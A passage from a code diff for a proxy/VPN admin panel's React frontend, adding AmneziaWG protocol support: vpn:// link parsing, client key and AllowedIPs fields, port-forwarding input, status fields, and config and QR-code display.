   Hysteria2: 'magenta',
   WireGuard: 'cyan',
   WireGuard: 'cyan',
   MTProto: 'blue',
   MTProto: 'blue',
+  AmneziaWG: 'yellow',
 };
 };
 
 
 const SECURITY_COLORS: Record<string, string> = {
 const SECURITY_COLORS: Record<string, string> = {
@@ -50,6 +52,18 @@ const TRANSPORT_COLOR = 'gold';
 
 
 const TAG_STYLE = { marginInlineEnd: 0, fontWeight: 600, letterSpacing: '0.3px' };
 const TAG_STYLE = { marginInlineEnd: 0, fontWeight: 600, letterSpacing: '0.3px' };
 
 
+// Reverse of inbound-link.ts's own toBase64Url — base64url (RFC 4648 §5, no
+// padding) back to the original unicode text, needed to read the remark/
+// endpoint back out of a vpn:// link's opaque payload below.
+function fromBase64Url(value: string): string {
+  const b64 = value.replace(/-/g, '+').replace(/_/g, '/');
+  const padded = b64 + '='.repeat((4 - (b64.length % 4)) % 4);
+  const binary = atob(padded);
+  const bytes = new Uint8Array(binary.length);
+  for (let i = 0; i < binary.length; i++) bytes[i] = binary.charCodeAt(i);
+  return new TextDecoder().decode(bytes);
+}
+
 /* Pull protocol, transport, security plus the remark and port out of a share
 /* Pull protocol, transport, security plus the remark and port out of a share
    link. vless/trojan carry network+security as `type`/`security` query params
    link. vless/trojan carry network+security as `type`/`security` query params
    and the remark in the URL hash; vmess packs them into the base64 JSON as
    and the remark in the URL hash; vmess packs them into the base64 JSON as
@@ -83,6 +97,20 @@ export function parseLinkParts(link: string): LinkParts | null {
     } catch {
     } catch {
       /* unparseable payload, fall back to protocol only */
       /* unparseable payload, fall back to protocol only */
     }
     }
+  } else if (scheme === 'vpn') {
+    /* AmneziaWG's vpn:// links are base64url of a plain .conf text (matching
+       the real AmneziaVPN app's own share-link scheme), not a structured URL
+       — there's no query string or #hash to read a remark/port from without
+       corrupting the payload the app itself needs to decode. The remark and
+       endpoint are still in there as plain .conf lines, though, so pull them
+       back out directly. */
+    try {
+      const cfgText = fromBase64Url(trimmed.slice('vpn://'.length));
+      remark = /^#\s?(.*)$/m.exec(cfgText)?.[1]?.trim() ?? '';
+      port = /^Endpoint\s*=\s*.+:(\d+)\s*$/m.exec(cfgText)?.[1] ?? '';
+    } catch {
+      /* unparseable payload, fall back to protocol only */
+    }
   } else {
   } else {
     try {
     try {
       const url = new URL(trimmed);
       const url = new URL(trimmed);

+ 4 - 3
frontend/src/lib/xray/protocol-capabilities.ts

@@ -75,10 +75,11 @@ export function canEnableStream(values: { protocol: string }): boolean {
   return STREAM_PROTOCOLS.includes(values.protocol);
   return STREAM_PROTOCOLS.includes(values.protocol);
 }
 }
 
 
-// mtproto is served by an external mtg process, not Xray, so the Xray sniffing
-// block does not apply to it. Every other inbound supports sniffing.
+// mtproto and amneziawg are served by an external process/interface, not
+// Xray, so the Xray sniffing block does not apply to either. Every other
+// inbound supports sniffing.
 export function canEnableSniffing(values: { protocol: string }): boolean {
 export function canEnableSniffing(values: { protocol: string }): boolean {
-  return values.protocol !== 'mtproto';
+  return values.protocol !== 'mtproto' && values.protocol !== 'amneziawg';
 }
 }
 
 
 // Vision seed applies only when XTLS Vision (TCP/TLS) flow is selected
 // Vision seed applies only when XTLS Vision (TCP/TLS) flow is selected

+ 4 - 0
frontend/src/models/dbinbound.ts

@@ -169,6 +169,10 @@ export class DBInbound {
     return this.protocol === Protocols.WIREGUARD;
     return this.protocol === Protocols.WIREGUARD;
   }
   }
 
 
+  get isAmneziawg() {
+    return this.protocol === Protocols.AMNEZIAWG;
+  }
+
   get isHysteria() {
   get isHysteria() {
     return this.protocol === Protocols.HYSTERIA;
     return this.protocol === Protocols.HYSTERIA;
   }
   }

+ 8 - 0
frontend/src/models/status.ts

@@ -61,6 +61,11 @@ export interface XrayInfo {
   color: string;
   color: string;
 }
 }
 
 
+export interface AmneziaWGInfo {
+  configured: boolean;
+  running: boolean;
+}
+
 interface StatusInput {
 interface StatusInput {
   cpu?: number;
   cpu?: number;
   cpuCores?: number;
   cpuCores?: number;
@@ -79,6 +84,7 @@ interface StatusInput {
   appUptime?: number;
   appUptime?: number;
   appStats?: AppStats;
   appStats?: AppStats;
   xray?: Partial<XrayInfo>;
   xray?: Partial<XrayInfo>;
+  amneziawg?: Partial<AmneziaWGInfo>;
 }
 }
 
 
 export class Status {
 export class Status {
@@ -99,6 +105,7 @@ export class Status {
   appUptime = 0;
   appUptime = 0;
   appStats: AppStats = { threads: 0, mem: 0, uptime: 0 };
   appStats: AppStats = { threads: 0, mem: 0, uptime: 0 };
   xray: XrayInfo = { state: 'stop', errorMsg: '', version: '', color: '' };
   xray: XrayInfo = { state: 'stop', errorMsg: '', version: '', color: '' };
+  amneziawg: AmneziaWGInfo = { configured: false, running: false };
 
 
   constructor(data?: StatusInput | null) {
   constructor(data?: StatusInput | null) {
     if (data == null) return;
     if (data == null) return;
@@ -121,5 +128,6 @@ export class Status {
     this.appStats = data.appStats ?? this.appStats;
     this.appStats = data.appStats ?? this.appStats;
     this.xray = { ...this.xray, ...(data.xray || {}) };
     this.xray = { ...this.xray, ...(data.xray || {}) };
     this.xray.color = XRAY_STATE_COLORS[this.xray.state] ?? 'gray';
     this.xray.color = XRAY_STATE_COLORS[this.xray.state] ?? 'gray';
+    this.amneziawg = { ...this.amneziawg, ...(data.amneziawg || {}) };
   }
   }
 }
 }

+ 22 - 0
frontend/src/pages/api-docs/endpoints.ts

@@ -608,6 +608,28 @@ export const sections: readonly Section[] = [
         response:
         response:
           '{\n  "success": true,\n  "obj": "2025/01/01 12:00:00 rejected  vless  proxy  example.com  reason: no valid user\\n2025/01/01 12:00:01 direct  freedom  ok"\n}',
           '{\n  "success": true,\n  "obj": "2025/01/01 12:00:00 rejected  vless  proxy  example.com  reason: no valid user\\n2025/01/01 12:00:01 direct  freedom  ok"\n}',
       },
       },
+      {
+        method: 'POST',
+        path: '/panel/api/server/amneziawglogs/:count',
+        summary:
+          'Return live AmneziaWG peer activity (handshake, endpoint, transfer) plus the panel’s own AmneziaWG event lines.',
+        params: [
+          {
+            name: 'count',
+            in: 'path',
+            type: 'number',
+            desc: 'Maximum peer rows and event lines to return.',
+          },
+          {
+            name: 'filter',
+            in: 'body (form)',
+            type: 'string',
+            desc: 'Keyword filter — only rows/lines containing this string.',
+          },
+        ],
+        body: 'filter=awg1',
+        responseSchema: 'AmneziaWGLogs',
+      },
       {
       {
         method: 'POST',
         method: 'POST',
         path: '/panel/api/server/importDB',
         path: '/panel/api/server/importDB',

+ 1 - 0
frontend/src/pages/clients/BulkAttachInboundsModal.tsx

@@ -15,6 +15,7 @@ const MULTI_USER_PROTOCOLS = new Set([
   'shadowsocks',
   'shadowsocks',
   'wireguard',
   'wireguard',
   'mtproto',
   'mtproto',
+  'amneziawg',
 ]);
 ]);
 
 
 interface BulkAttachInboundsModalProps {
 interface BulkAttachInboundsModalProps {

+ 1 - 0
frontend/src/pages/clients/BulkDetachInboundsModal.tsx

@@ -15,6 +15,7 @@ const MULTI_USER_PROTOCOLS = new Set([
   'shadowsocks',
   'shadowsocks',
   'wireguard',
   'wireguard',
   'mtproto',
   'mtproto',
+  'amneziawg',
 ]);
 ]);
 
 
 interface BulkDetachInboundsModalProps {
 interface BulkDetachInboundsModalProps {

+ 1 - 0
frontend/src/pages/clients/ClientBulkAddModal.tsx

@@ -36,6 +36,7 @@ const MULTI_CLIENT_PROTOCOLS = new Set([
   'trojan',
   'trojan',
   'hysteria',
   'hysteria',
   'wireguard',
   'wireguard',
+  'amneziawg',
 ]);
 ]);
 
 
 const EMPTY: ClientBulkAddFormValues = {
 const EMPTY: ClientBulkAddFormValues = {

+ 161 - 27
frontend/src/pages/clients/ClientFormModal.tsx

@@ -60,6 +60,7 @@ const MULTI_CLIENT_PROTOCOLS = new Set([
   'hysteria',
   'hysteria',
   'wireguard',
   'wireguard',
   'mtproto',
   'mtproto',
+  'amneziawg',
 ]);
 ]);
 
 
 const CLIENT_FORM_MODAL_Z_INDEX = 1000;
 const CLIENT_FORM_MODAL_Z_INDEX = 1000;
@@ -110,6 +111,7 @@ interface ClientFormModalProps {
   inbounds: InboundOption[];
   inbounds: InboundOption[];
   attachedExternalLinks?: ExternalLink[];
   attachedExternalLinks?: ExternalLink[];
   attachedIds?: number[];
   attachedIds?: number[];
+  tunnelAllowedIPs?: Record<number, string>;
   tgBotEnable?: boolean;
   tgBotEnable?: boolean;
   groups?: string[];
   groups?: string[];
   save: (
   save: (
@@ -128,6 +130,8 @@ type Values = ClientFormValues & {
   wgPublicKey: string;
   wgPublicKey: string;
   wgPreSharedKey: string;
   wgPreSharedKey: string;
   wgAllowedIPs: string;
   wgAllowedIPs: string;
+  awgAllowedIPs: string;
+  awgForwardedPorts: string;
   secret: string;
   secret: string;
   adTag: string;
   adTag: string;
 };
 };
@@ -162,6 +166,8 @@ const EMPTY: Values = {
   wgPublicKey: '',
   wgPublicKey: '',
   wgPreSharedKey: '',
   wgPreSharedKey: '',
   wgAllowedIPs: '',
   wgAllowedIPs: '',
+  awgAllowedIPs: '',
+  awgForwardedPorts: '',
   secret: '',
   secret: '',
   adTag: '',
   adTag: '',
 };
 };
@@ -189,6 +195,34 @@ export function gbToBytes(gb: number): number {
   return Math.round(gb * 1024 * 1024 * 1024);
   return Math.round(gb * 1024 * 1024 * 1024);
 }
 }
 
 
+export function parseAllowedIPsList(raw: string): string[] {
+  return raw
+    .split(',')
+    .map((s) => s.trim())
+    .filter((s) => s !== '');
+}
+
+// Maps each of the two AllowedIPs fields to the specific wg/awg inbound the
+// client is currently attached to, so a save with both protocols attached at
+// once can send each its own value instead of one shared field ambiguously
+// covering both (see model.Client.AllowedIPsByInbound on the Go side).
+// Absent from the result when the client isn't actually attached to that
+// protocol's inbound (e.g. mid-edit, before the attach takes effect).
+export function resolveTunnelAllowedIPsByInbound(
+  attachedInboundIds: number[],
+  wireguardInboundIds: Set<number>,
+  amneziawgInboundIds: Set<number>,
+  wgAllowedIPs: string[],
+  awgAllowedIPs: string[],
+): Record<number, string[]> {
+  const wgId = attachedInboundIds.find((id) => wireguardInboundIds.has(id));
+  const awgId = attachedInboundIds.find((id) => amneziawgInboundIds.has(id));
+  const result: Record<number, string[]> = {};
+  if (wgId != null) result[wgId] = wgAllowedIPs;
+  if (awgId != null) result[awgId] = awgAllowedIPs;
+  return result;
+}
+
 export function resolveTotalBytes(
 export function resolveTotalBytes(
   originalBytes: number | null | undefined,
   originalBytes: number | null | undefined,
   displayedGB: number,
   displayedGB: number,
@@ -206,6 +240,7 @@ export default function ClientFormModal({
   inbounds,
   inbounds,
   attachedExternalLinks = [],
   attachedExternalLinks = [],
   attachedIds = [],
   attachedIds = [],
+  tunnelAllowedIPs = {},
   tgBotEnable = false,
   tgBotEnable = false,
   groups = [],
   groups = [],
   save,
   save,
@@ -262,6 +297,27 @@ export default function ClientFormModal({
   const limitIpDisabled = !fail2ban.usable;
   const limitIpDisabled = !fail2ban.usable;
   const limitIpNotice = getLimitIpNotice(fail2ban, t);
   const limitIpNotice = getLimitIpNotice(fail2ban, t);
 
 
+  // Declared ahead of the seeding effect below (which needs them to resolve
+  // which specific wg/awg inbound this client is attached to, for seeding
+  // wgAllowedIPs/awgAllowedIPs from tunnelAllowedIPs) -- both are pure
+  // derivations of the stable `inbounds` prop, so moving them earlier is
+  // just a declaration-order change, not a behavior change.
+  const wireguardIds = useMemo(() => {
+    const ids = new Set<number>();
+    for (const row of inbounds || []) {
+      if (row && row.protocol === 'wireguard') ids.add(row.id);
+    }
+    return ids;
+  }, [inbounds]);
+
+  const amneziawgIds = useMemo(() => {
+    const ids = new Set<number>();
+    for (const row of inbounds || []) {
+      if (row && row.protocol === 'amneziawg') ids.add(row.id);
+    }
+    return ids;
+  }, [inbounds]);
+
   function addExternalLinkRow(kind: 'link' | 'subscription') {
   function addExternalLinkRow(kind: 'link' | 'subscription') {
     appendExternalLink({
     appendExternalLink({
       kind,
       kind,
@@ -282,6 +338,13 @@ export default function ClientFormModal({
 
 
     if (isEdit && client) {
     if (isEdit && client) {
       const et = Number(client.expiryTime) || 0;
       const et = Number(client.expiryTime) || 0;
+      const seedIds = Array.isArray(attachedIds) ? attachedIds : [];
+      const attachedWireguardId = seedIds.find((id) => wireguardIds.has(id));
+      const attachedAmneziawgId = seedIds.find((id) => amneziawgIds.has(id));
+      const wgTunnelIPs =
+        attachedWireguardId != null ? tunnelAllowedIPs[attachedWireguardId] : undefined;
+      const awgTunnelIPs =
+        attachedAmneziawgId != null ? tunnelAllowedIPs[attachedAmneziawgId] : undefined;
       const seed: Values = {
       const seed: Values = {
         ...EMPTY,
         ...EMPTY,
         email: client.email || '',
         email: client.email || '',
@@ -312,7 +375,9 @@ export default function ClientFormModal({
         wgPrivateKey: client.privateKey || '',
         wgPrivateKey: client.privateKey || '',
         wgPublicKey: client.publicKey || '',
         wgPublicKey: client.publicKey || '',
         wgPreSharedKey: client.preSharedKey || '',
         wgPreSharedKey: client.preSharedKey || '',
-        wgAllowedIPs: client.allowedIPs || '',
+        wgAllowedIPs: wgTunnelIPs ?? client.allowedIPs ?? '',
+        awgAllowedIPs: awgTunnelIPs ?? client.allowedIPs ?? '',
+        awgForwardedPorts: client.forwardedPorts || '',
         secret: client.secret || '',
         secret: client.secret || '',
         adTag: client.adTag || '',
         adTag: client.adTag || '',
       };
       };
@@ -369,14 +434,6 @@ export default function ClientFormModal({
     return ids;
     return ids;
   }, [inbounds]);
   }, [inbounds]);
 
 
-  const wireguardIds = useMemo(() => {
-    const ids = new Set<number>();
-    for (const row of inbounds || []) {
-      if (row && row.protocol === 'wireguard') ids.add(row.id);
-    }
-    return ids;
-  }, [inbounds]);
-
   const mtprotoIds = useMemo(() => {
   const mtprotoIds = useMemo(() => {
     const ids = new Set<number>();
     const ids = new Set<number>();
     for (const row of inbounds || []) {
     for (const row of inbounds || []) {
@@ -431,6 +488,11 @@ export default function ClientFormModal({
     [inboundIds, wireguardIds],
     [inboundIds, wireguardIds],
   );
   );
 
 
+  const showAmneziawg = useMemo(
+    () => (inboundIds || []).some((id) => amneziawgIds.has(id)),
+    [inboundIds, amneziawgIds],
+  );
+
   const showMtproto = useMemo(
   const showMtproto = useMemo(
     () => (inboundIds || []).some((id) => mtprotoIds.has(id)),
     () => (inboundIds || []).some((id) => mtprotoIds.has(id)),
     [inboundIds, mtprotoIds],
     [inboundIds, mtprotoIds],
@@ -625,18 +687,40 @@ export default function ClientFormModal({
       clientPayload.reverse = { tag: reverseTagValue };
       clientPayload.reverse = { tag: reverseTagValue };
     }
     }
 
 
-    if (showWireguard) {
+    if (showWireguard || showAmneziawg) {
+      // AmneziaWG peers are wire-identical to WireGuard peers (same
+      // privateKey/publicKey/preSharedKey/allowedIPs fields on model.Client),
+      // so both protocols share this one field set — see wgPrivateKey etc.
+      // below and the AmneziaWG-labeled variants of the same inputs.
       clientPayload.privateKey = values.wgPrivateKey;
       clientPayload.privateKey = values.wgPrivateKey;
       clientPayload.publicKey = values.wgPublicKey;
       clientPayload.publicKey = values.wgPublicKey;
       if (values.wgPreSharedKey) {
       if (values.wgPreSharedKey) {
         clientPayload.preSharedKey = values.wgPreSharedKey;
         clientPayload.preSharedKey = values.wgPreSharedKey;
       }
       }
-      const allowedIPs = values.wgAllowedIPs
-        .split(',')
-        .map((s) => s.trim())
-        .filter((s) => s !== '');
-      if (allowedIPs.length > 0) {
-        clientPayload.allowedIPs = allowedIPs;
+      const wgAllowedIPs = parseAllowedIPsList(values.wgAllowedIPs);
+      if (showWireguard && showAmneziawg) {
+        // Both protocols are attached at once: the two fields hold genuinely
+        // different addresses, so each must land on its own inbound instead
+        // of one broadcast value overwriting the other's (allowedIPsByInbound
+        // is what Update/Create key their per-inbound override off of).
+        const awgAllowedIPs = parseAllowedIPsList(values.awgAllowedIPs);
+        clientPayload.allowedIPsByInbound = resolveTunnelAllowedIPsByInbound(
+          values.inboundIds || [],
+          wireguardIds,
+          amneziawgIds,
+          wgAllowedIPs,
+          awgAllowedIPs,
+        );
+        if (wgAllowedIPs.length > 0) {
+          clientPayload.allowedIPs = wgAllowedIPs;
+        }
+      } else if (wgAllowedIPs.length > 0) {
+        clientPayload.allowedIPs = wgAllowedIPs;
+      }
+      // Port-forwarding has no WireGuard equivalent — Xray-native WireGuard
+      // has no host-level iptables layer to hang per-client DNAT off of.
+      if (showAmneziawg) {
+        clientPayload.forwardedPorts = values.awgForwardedPorts.trim();
       }
       }
     }
     }
 
 
@@ -1104,9 +1188,15 @@ export default function ClientFormModal({
                           />
                           />
                         </FormField>
                         </FormField>
                       )}
                       )}
-                      {showWireguard && (
+                      {(showWireguard || showAmneziawg) && (
                         <>
                         <>
-                          <Form.Item label={t('pages.clients.wireguardPrivateKey')}>
+                          <Form.Item
+                            label={t(
+                              showAmneziawg
+                                ? 'pages.clients.amneziaWgPrivateKey'
+                                : 'pages.clients.wireguardPrivateKey',
+                            )}
+                          >
                             <Space.Compact style={{ display: 'flex' }}>
                             <Space.Compact style={{ display: 'flex' }}>
                               <Input
                               <Input
                                 value={wgPrivateKey}
                                 value={wgPrivateKey}
@@ -1129,23 +1219,67 @@ export default function ClientFormModal({
                           </Form.Item>
                           </Form.Item>
                           <FormField
                           <FormField
                             name="wgPublicKey"
                             name="wgPublicKey"
-                            label={t('pages.clients.wireguardPublicKey')}
+                            label={t(
+                              showAmneziawg
+                                ? 'pages.clients.amneziaWgPublicKey'
+                                : 'pages.clients.wireguardPublicKey',
+                            )}
                           >
                           >
                             <Input disabled />
                             <Input disabled />
                           </FormField>
                           </FormField>
                           <FormField
                           <FormField
                             name="wgPreSharedKey"
                             name="wgPreSharedKey"
-                            label={t('pages.clients.wireguardPreSharedKey')}
+                            label={t(
+                              showAmneziawg
+                                ? 'pages.clients.amneziaWgPreSharedKey'
+                                : 'pages.clients.wireguardPreSharedKey',
+                            )}
                           >
                           >
                             <Input />
                             <Input />
                           </FormField>
                           </FormField>
-                          <FormField
-                            name="wgAllowedIPs"
-                            label={t('pages.clients.wireguardAllowedIPs')}
-                            extra={t('pages.clients.wireguardAllowedIPsHint')}
-                          >
-                            <Input placeholder="10.0.0.2/32" />
-                          </FormField>
+                          {showWireguard && showAmneziawg ? (
+                            <>
+                              <FormField
+                                name="wgAllowedIPs"
+                                label={t('pages.clients.wireguardAllowedIPs')}
+                                extra={t('pages.clients.wireguardAllowedIPsHint')}
+                              >
+                                <Input placeholder="10.0.0.2/32" />
+                              </FormField>
+                              <FormField
+                                name="awgAllowedIPs"
+                                label={t('pages.clients.amneziaWgAllowedIPs')}
+                                extra={t('pages.clients.amneziaWgAllowedIPsHint')}
+                              >
+                                <Input placeholder="10.8.1.2/32" />
+                              </FormField>
+                            </>
+                          ) : (
+                            <FormField
+                              name="wgAllowedIPs"
+                              label={t(
+                                showAmneziawg
+                                  ? 'pages.clients.amneziaWgAllowedIPs'
+                                  : 'pages.clients.wireguardAllowedIPs',
+                              )}
+                              extra={t(
+                                showAmneziawg
+                                  ? 'pages.clients.amneziaWgAllowedIPsHint'
+                                  : 'pages.clients.wireguardAllowedIPsHint',
+                              )}
+                            >
+                              <Input placeholder="10.8.1.2/32" />
+                            </FormField>
+                          )}
+                          {showAmneziawg && (
+                            <FormField
+                              name="awgForwardedPorts"
+                              label={t('pages.clients.amneziaWgForwardedPorts')}
+                              extra={t('pages.clients.amneziaWgForwardedPortsHint')}
+                            >
+                              <Input placeholder="80, 443, 8000-8100" />
+                            </FormField>
+                          )}
                         </>
                         </>
                       )}
                       )}
                       {showMtproto && (
                       {showMtproto && (

+ 36 - 0
frontend/src/pages/clients/ClientInfoModal.tsx

@@ -25,6 +25,11 @@ import {
   findWireguardInbound,
   findWireguardInbound,
   isWireguardClient,
   isWireguardClient,
 } from './wireguardConfig';
 } from './wireguardConfig';
+import {
+  buildAmneziaWGClientConfig,
+  findAmneziaWGInbound,
+  isAmneziaWGClient,
+} from './amneziawgConfig';
 import './ClientInfoModal.css';
 import './ClientInfoModal.css';
 
 
 const INBOUND_PROTOCOL_COLORS: Record<string, string> = {
 const INBOUND_PROTOCOL_COLORS: Record<string, string> = {
@@ -35,6 +40,7 @@ const INBOUND_PROTOCOL_COLORS: Record<string, string> = {
   hysteria: 'cyan',
   hysteria: 'cyan',
   hysteria2: 'green',
   hysteria2: 'green',
   wireguard: 'gold',
   wireguard: 'gold',
+  amneziawg: 'yellow',
   http: 'purple',
   http: 'purple',
   mixed: 'lime',
   mixed: 'lime',
   tunnel: 'orange',
   tunnel: 'orange',
@@ -56,6 +62,7 @@ interface ClientInfoModalProps {
   open: boolean;
   open: boolean;
   client: ClientRecord | null;
   client: ClientRecord | null;
   inboundsById: Record<number, InboundOption>;
   inboundsById: Record<number, InboundOption>;
+  tunnelAllowedIPs?: Record<number, string>;
   isOnline: boolean;
   isOnline: boolean;
   subSettings?: SubSettings;
   subSettings?: SubSettings;
   onOpenChange: (open: boolean) => void;
   onOpenChange: (open: boolean) => void;
@@ -86,6 +93,7 @@ export default function ClientInfoModal({
   open,
   open,
   client,
   client,
   inboundsById,
   inboundsById,
+  tunnelAllowedIPs,
   isOnline,
   isOnline,
   subSettings = DEFAULT_SUB,
   subSettings = DEFAULT_SUB,
   onOpenChange,
   onOpenChange,
@@ -186,6 +194,22 @@ export default function ClientInfoModal({
     );
     );
   }, [client, wgInbound, subSettings?.publicHost]);
   }, [client, wgInbound, subSettings?.publicHost]);
 
 
+  const awgInbound = useMemo(
+    () => findAmneziaWGInbound(client, inboundsById),
+    [client, inboundsById],
+  );
+  const awgConfigText = useMemo(() => {
+    if (!client || !awgInbound || !isAmneziaWGClient(client)) return '';
+    const address = awgInbound ? (tunnelAllowedIPs?.[awgInbound.id] ?? '') : '';
+    return buildAmneziaWGClientConfig(
+      client,
+      awgInbound,
+      window.location.hostname,
+      subSettings?.publicHost ?? '',
+      address,
+    );
+  }, [client, awgInbound, tunnelAllowedIPs, subSettings?.publicHost]);
+
   async function copyValue(text: string) {
   async function copyValue(text: string) {
     if (!text) return;
     if (!text) return;
     const ok = await ClipboardManager.copyText(String(text));
     const ok = await ClipboardManager.copyText(String(text));
@@ -766,6 +790,18 @@ export default function ClientInfoModal({
                 />
                 />
               </>
               </>
             )}
             )}
+
+            {awgConfigText && client && (
+              <>
+                <Divider>{t('pages.clients.amneziaWgConfig')}</Divider>
+                <ConfigBlock
+                  label={t('pages.clients.config')}
+                  text={awgConfigText}
+                  fileName={`${client.email}.conf`}
+                  qrRemark={client.email || 'peer'}
+                />
+              </>
+            )}
           </>
           </>
         )}
         )}
       </Modal>
       </Modal>

+ 43 - 2
frontend/src/pages/clients/ClientQrModal.tsx

@@ -11,6 +11,11 @@ import {
   findWireguardInbound,
   findWireguardInbound,
   isWireguardClient,
   isWireguardClient,
 } from './wireguardConfig';
 } from './wireguardConfig';
+import {
+  buildAmneziaWGClientConfig,
+  findAmneziaWGInbound,
+  isAmneziaWGClient,
+} from './amneziawgConfig';
 
 
 interface SubSettings {
 interface SubSettings {
   enable: boolean;
   enable: boolean;
@@ -24,6 +29,7 @@ interface ClientQrModalProps {
   open: boolean;
   open: boolean;
   client: ClientRecord | null;
   client: ClientRecord | null;
   inboundsById: Record<number, InboundOption>;
   inboundsById: Record<number, InboundOption>;
+  tunnelAllowedIPs?: Record<number, string>;
   subSettings?: SubSettings;
   subSettings?: SubSettings;
   onOpenChange: (open: boolean) => void;
   onOpenChange: (open: boolean) => void;
 }
 }
@@ -45,6 +51,7 @@ export default function ClientQrModal({
   open,
   open,
   client,
   client,
   inboundsById,
   inboundsById,
+  tunnelAllowedIPs,
   subSettings = DEFAULT_SUB,
   subSettings = DEFAULT_SUB,
   onOpenChange,
   onOpenChange,
 }: ClientQrModalProps) {
 }: ClientQrModalProps) {
@@ -74,7 +81,24 @@ export default function ClientQrModal({
     );
     );
   }, [client, wgInbound, subSettings?.publicHost]);
   }, [client, wgInbound, subSettings?.publicHost]);
 
 
-  const hasAnything = !!subLink || !!subJsonLink || !!wgConfigText || links.length > 0;
+  const awgInbound = useMemo(
+    () => findAmneziaWGInbound(client, inboundsById),
+    [client, inboundsById],
+  );
+  const awgConfigText = useMemo(() => {
+    if (!client || !awgInbound || !isAmneziaWGClient(client)) return '';
+    const address = awgInbound ? (tunnelAllowedIPs?.[awgInbound.id] ?? '') : '';
+    return buildAmneziaWGClientConfig(
+      client,
+      awgInbound,
+      window.location.hostname,
+      subSettings?.publicHost ?? '',
+      address,
+    );
+  }, [client, awgInbound, tunnelAllowedIPs, subSettings?.publicHost]);
+
+  const hasAnything =
+    !!subLink || !!subJsonLink || !!wgConfigText || !!awgConfigText || links.length > 0;
 
 
   // The reset runs during render so the effect only carries the request.
   // The reset runs during render so the effect only carries the request.
   const openSubId = open ? (client?.subId ?? '') : '';
   const openSubId = open ? (client?.subId ?? '') : '';
@@ -165,8 +189,25 @@ export default function ClientQrModal({
         ),
         ),
       });
       });
     }
     }
+    if (awgConfigText) {
+      out.push({
+        key: 'awg-config',
+        label: (
+          <Tag color="purple" style={{ margin: 0 }}>
+            {t('pages.clients.amneziaWgConfig')}
+          </Tag>
+        ),
+        children: (
+          <QrPanel
+            value={awgConfigText}
+            remark={client?.email || 'peer'}
+            downloadName={`${client?.email || 'peer'}.conf`}
+          />
+        ),
+      });
+    }
     return out;
     return out;
-  }, [subLink, subJsonLink, wgConfigText, links, client?.email, t]);
+  }, [subLink, subJsonLink, wgConfigText, awgConfigText, links, client?.email, t]);
 
 
   // Expanding the first panel is a render-time adjustment, not a side effect.
   // Expanding the first panel is a render-time adjustment, not a side effect.
   const firstKey = open && items.length > 0 ? items[0].key : null;
   const firstKey = open && items.length > 0 ? items[0].key : null;

+ 14 - 0
frontend/src/pages/clients/ClientsPage.tsx

@@ -171,6 +171,7 @@ const INBOUND_PROTOCOL_COLORS: Record<string, string> = {
   hysteria: 'cyan',
   hysteria: 'cyan',
   hysteria2: 'green',
   hysteria2: 'green',
   wireguard: 'gold',
   wireguard: 'gold',
+  amneziawg: 'yellow',
   http: 'purple',
   http: 'purple',
   mixed: 'lime',
   mixed: 'lime',
   tunnel: 'orange',
   tunnel: 'orange',
@@ -349,10 +350,16 @@ export default function ClientsPage() {
   const [editingClient, setEditingClient] = useState<ClientRecord | null>(null);
   const [editingClient, setEditingClient] = useState<ClientRecord | null>(null);
   const [editingAttachedIds, setEditingAttachedIds] = useState<number[]>([]);
   const [editingAttachedIds, setEditingAttachedIds] = useState<number[]>([]);
   const [editingExternalLinks, setEditingExternalLinks] = useState<ExternalLink[]>([]);
   const [editingExternalLinks, setEditingExternalLinks] = useState<ExternalLink[]>([]);
+  const [editingTunnelAllowedIPs, setEditingTunnelAllowedIPs] = useState<Record<number, string>>(
+    {},
+  );
   const [infoOpen, setInfoOpen] = useState(false);
   const [infoOpen, setInfoOpen] = useState(false);
   const [infoClient, setInfoClient] = useState<ClientRecord | null>(null);
   const [infoClient, setInfoClient] = useState<ClientRecord | null>(null);
   const [qrOpen, setQrOpen] = useState(false);
   const [qrOpen, setQrOpen] = useState(false);
   const [qrClient, setQrClient] = useState<ClientRecord | null>(null);
   const [qrClient, setQrClient] = useState<ClientRecord | null>(null);
+  const [viewingTunnelAllowedIPs, setViewingTunnelAllowedIPs] = useState<Record<number, string>>(
+    {},
+  );
   const [bulkAddOpen, setBulkAddOpen] = useState(false);
   const [bulkAddOpen, setBulkAddOpen] = useState(false);
   const [bulkAdjustOpen, setBulkAdjustOpen] = useState(false);
   const [bulkAdjustOpen, setBulkAdjustOpen] = useState(false);
   const [subLinksOpen, setSubLinksOpen] = useState(false);
   const [subLinksOpen, setSubLinksOpen] = useState(false);
@@ -619,6 +626,7 @@ export default function ClientsPage() {
     setEditingClient(null);
     setEditingClient(null);
     setEditingAttachedIds([]);
     setEditingAttachedIds([]);
     setEditingExternalLinks([]);
     setEditingExternalLinks([]);
+    setEditingTunnelAllowedIPs({});
     setFormOpen(true);
     setFormOpen(true);
   }
   }
 
 
@@ -635,6 +643,7 @@ export default function ClientsPage() {
       const ids = full?.inboundIds ?? (Array.isArray(row.inboundIds) ? row.inboundIds : []);
       const ids = full?.inboundIds ?? (Array.isArray(row.inboundIds) ? row.inboundIds : []);
       setEditingAttachedIds([...ids]);
       setEditingAttachedIds([...ids]);
       setEditingExternalLinks(Array.isArray(full?.externalLinks) ? [...full.externalLinks] : []);
       setEditingExternalLinks(Array.isArray(full?.externalLinks) ? [...full.externalLinks] : []);
+      setEditingTunnelAllowedIPs(full?.tunnelAllowedIPs ?? {});
       setFormOpen(true);
       setFormOpen(true);
     },
     },
     [hydrate],
     [hydrate],
@@ -686,6 +695,7 @@ export default function ClientsPage() {
       if (!row) return;
       if (!row) return;
       const full = await hydrate(row.email);
       const full = await hydrate(row.email);
       setInfoClient(full ? { ...row, ...full.client, inboundIds: full.inboundIds } : row);
       setInfoClient(full ? { ...row, ...full.client, inboundIds: full.inboundIds } : row);
+      setViewingTunnelAllowedIPs(full?.tunnelAllowedIPs ?? {});
       setInfoOpen(true);
       setInfoOpen(true);
     },
     },
     [hydrate],
     [hydrate],
@@ -697,6 +707,7 @@ export default function ClientsPage() {
       if (!row) return;
       if (!row) return;
       const full = await hydrate(row.email);
       const full = await hydrate(row.email);
       setQrClient(full ? { ...row, ...full.client, inboundIds: full.inboundIds } : row);
       setQrClient(full ? { ...row, ...full.client, inboundIds: full.inboundIds } : row);
+      setViewingTunnelAllowedIPs(full?.tunnelAllowedIPs ?? {});
       setQrOpen(true);
       setQrOpen(true);
     },
     },
     [hydrate],
     [hydrate],
@@ -1838,6 +1849,7 @@ export default function ClientsPage() {
             client={editingClient}
             client={editingClient}
             attachedIds={editingAttachedIds}
             attachedIds={editingAttachedIds}
             attachedExternalLinks={editingExternalLinks}
             attachedExternalLinks={editingExternalLinks}
